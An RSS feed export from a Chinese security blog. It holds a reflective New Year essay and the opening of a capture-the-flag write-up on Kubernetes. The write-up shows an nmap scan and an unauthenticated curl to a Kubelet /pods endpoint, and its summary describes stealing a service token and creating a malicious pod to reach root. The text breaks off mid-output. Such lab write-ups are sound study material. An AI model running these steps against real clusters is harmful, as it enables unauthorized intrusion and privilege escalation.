BushSEC的被窝 - 云安全
type: channel
link: https://bushsec.cn/category/%E4%BA%91%E5%AE%89%E5%85%A8/
items: 新年特辑：仍在路上 置顶
items: SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防

新年特辑：仍在路上 置顶
type: item
date: 2026-01-01T00:00:00+08:00
description: AI摘要：文章围绕“选择、成长与同行”展开，写给仍在前行中的人。作者认为，人生没有绝对正确的道路，当下所走的路就是当时最真实的选择，重要的不是结果，而是对自己内心的诚实与承担。通过“抛硬币的三秒真空”等意象，强调方向来自内心的悸动而非外界判断。文章也珍视同行者的陪伴，倡导与自己和解、接纳不确定与遗憾。最终传达出温柔而坚定的信念：只要持续前行，慢一点也没关系，每个人都会走向属于自己的位置。”钟表的指针周而复始，就像人的困惑、烦恼、软弱、摇摆不停。但最终，人们依旧要前进，就像你的指针，永远落在前方“在人生所有无声的选择里，最难的那一次，总会把你推向真正的自己。写在开头每个人的人生，都是一条独一无二的旅程。有时阳光明媚，路上花香扑鼻；有时风雨交加，泥泞遍地。我们无法预知下一刻的风景，也不能回到过去重新选择。但我们可以选择以怎样的姿态，走好脚下的每一步。无论你身处人生的哪个阶段，希望你读完之后，能微微停下，深深呼吸，然后坚定地往前走——因为...当下，就是你最好的路人总是会不自觉地，把自己没走的那条路美化到极致。 仿佛只要当初随便换个选择，现在的一切就会截然不同。 可也许—— 那条你没选的路上，你会因为放纵而变得臃肿，被讥笑； 我并不是悲观主义者，只是想告诉你： 另一条路同样可能不美好。 我们没法回到过去，也不可能重新做出选择。 既然你在当时做出了你能做出的最好选择，那就继续走下去。 这是你的路，你选择的路。 抓住现在，而不是沉迷过去、可能、未来。一枚硬币的三秒真空当硬币脱离指尖，在空中划出一道弧线，我们以为是在把命运交给偶然。 但其实—— 硬币抛起的从来不是正反，而是藏在心底沉浮的愿望。 那三秒的真空，是人生少有的坦诚。 所有犹豫、所有伪装、所有人设，都来不及跟上硬币的旋转。 你突然看清： 自己最害怕失去的是什么—— 是那个人，那个机会，还是那个你以为已经放下的自己？ 当硬币落地，你为那个未发生的结果松一口气，或心里一沉。 那一瞬间的 庆幸或失落，才是你灵魂真正的方向。 所以别问硬币落在了哪面。 问一问硬币落地时，你心里那道最轻微的涟漪。 它比任何占卜都更接近你的本质。 所有重要的选择，本质上不是选择未来，而是认清自己。可人真正需要的从来不是一个结果，而是一个让自己坦白的理由。我们把很多选择包装成“再想一想”“再等等吧”，其实心底早有答案，只是我们不敢面对——怕承担，怕后悔，怕承认某种渴望。可是硬币在空中旋转的那三秒，把所有逃避都摁下了暂停键。你忽然明白：你不是不知道自己想要什么，你只是还没准备好为了它付出代价。很多时候，我们不是在选择未来，而是在选择“愿不愿意为它负责”。抛硬币之所以让人心安，不是因为概率，而是因为它替我们揭开了那层最真实的自己。你会发现——多年以后你记不住那次究竟是正面落下还是反面落地，但你一定记得当时心里闪过的那一丝轻微、却刺眼的悸动。那种“终于看见了自己的心”的感觉，会成为你后来无数次决定中的底色。所以当你再遇见困难、迷茫、犹豫的时候，你无需再靠硬币来替你做决定。你只要回想起当年的那三秒，回想起那一瞬你的心往哪一边颤了一下。人生真正的方向，从不在硬币的落点里，而在你胸口那道微不可察、却无比诚实的震动。如果说选择是命运给的课题，那么那三秒的真空，就是你交出的最真实的答卷。你以为在找路，其实路在找你。曾有个朋友问过我：“你到底是怎么判断自己想走哪条路的？”我当时愣了一下——不是因为问题难，而是因为我忽然意识到：所谓的“方向”，好像从来不是某一天突然被我想明白的。我只告诉他一句很老实的话：“其实我也没多确定，只是每一次心里轻轻颤了一下，我就往那边迈了一步。也就是最简单的直觉。”我们常常以为方向要靠深思熟虑、靠别人点拨，靠一场灵光乍现；可后来你会发现，真正的方向往往藏在那些细小到几乎被忽略的瞬间——你在听到某句话时突然安静下来；你在面对某个机会时心跳莫名加快；你在做某件事时即使疲惫，却从不想放弃。这些微弱却真实的悸动，才是最稳定的指南针。也正因为如此，我才会越来越相信：我们所谓的“确定方向”，不是找到一个完美答案，而是有勇气承认自己心底的偏向——哪怕只有一点点。有时候我会突然意识到——原来长大的过程，并不是某一天突然懂了很多道理，而是在一次又一次撞南墙、摔跤、心软、心碎、重来之后，慢慢学会了不再那么急着为所有事给出答案。我们开始接受不确定，接受感情里有人来有人走，接受努力不一定有结果，接受遗憾永远不会彻底消失。可与此同时，我们也开始明白：每一个熬过的夜、挺住的崩溃、逼自己咽下的情绪，都在悄悄把我们变成更稳、更柔软、更有力量的人。成长不是变得刀枪不入，而是即使受过伤，依然愿意相信下一次依然值得全力以赴。也许你现在还看不清前路，也许生活的重量偶尔会压得你抬不起头，但没关系——你已经比昨天勇敢很多了。人生的路不是用来奔命的…

SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防
type: item
date: 2025-09-13T13:07:00+08:00
description: AI摘要：本次云原生渗透测试利用了**Kubelet匿名访问**漏洞，成功从一个普通用户Pod提权并最终获取了主机的root权限。攻击过程包括信息侦察、利用Kubelet未授权访问、获取服务令牌、创建恶意Pod以及最终读取Flag。攻击机ip：10.10.16.3靶机IP：10.10.11.133首先nmapnmap -p- --min-rate 10000 -oA scans/nmap-alltcp得到结果Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 09:34 CST Nmap scan report for 10.10.11.133 Host is up (0.42s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 2379/tcp open etcd-client 2380/tcp open etcd-server 8443/tcp open https-alt 10249/tcp open unknown 10250/tcp open unknown 10256/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 10.36 secondsSSH 默认端口为 22。Etcd 是一个 Kubernetes 组件，客户端监听端口为 2379，服务器端口为 2380。Kubelet 是一个 Kubernetes 扩展，默认监听端口为 10250，Kubernetes API 监听端口为 8443。让我先来看看 Kubernetes API，它在 8443 端口上可访问。首先尝试访问Kubernetes API Server（8443端口），检查是否存在未授权访问：访问“https://10.10.11.133:8443”发现403{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": { }, "code": 403 }输出显示我们无法在未经身份验证的情况下访问主目录，因此让我们继续查看监听在 10250 端口上的 Kubelet 服务。curl https://10.10.11.133:10250/pods -k {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"be2478237d1af444b624cb01f51f79c4","kubernetes.io/config.seen":"2025-09-12T21:29:29.748824313-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/…